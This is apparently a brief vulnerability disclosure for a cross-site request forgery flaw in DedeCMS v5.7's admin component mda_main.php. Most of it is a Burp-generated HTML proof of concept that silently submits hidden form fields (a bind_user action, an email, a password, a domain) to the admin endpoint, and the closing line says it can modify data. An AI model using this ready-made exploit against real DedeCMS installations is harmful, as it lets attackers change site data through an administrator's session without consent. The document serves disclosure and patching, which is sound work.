target:https://github.com/wdsunwq/DedeCMSv5 version: v5.7
DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /src/dede/mda_main.php
Poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/src/dede/mda_main.php?" method="POST">
<input type="hidden" name="dopost" value="bind_user" />
<input type="hidden" name="email" value="cs@123.com" />
<input type="hidden" name="pwd" value="Qwer1234" />
<input type="hidden" name="domain" value="127.0.0.1" />
<input type="hidden" name="channel_name" value="�ˆ‘�š„�½‘�«™" />
<input type="hidden" name="imageField1.x" value="28" />
<input type="hidden" name="imageField1.y" value="10" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
This operation can complete the modification of the data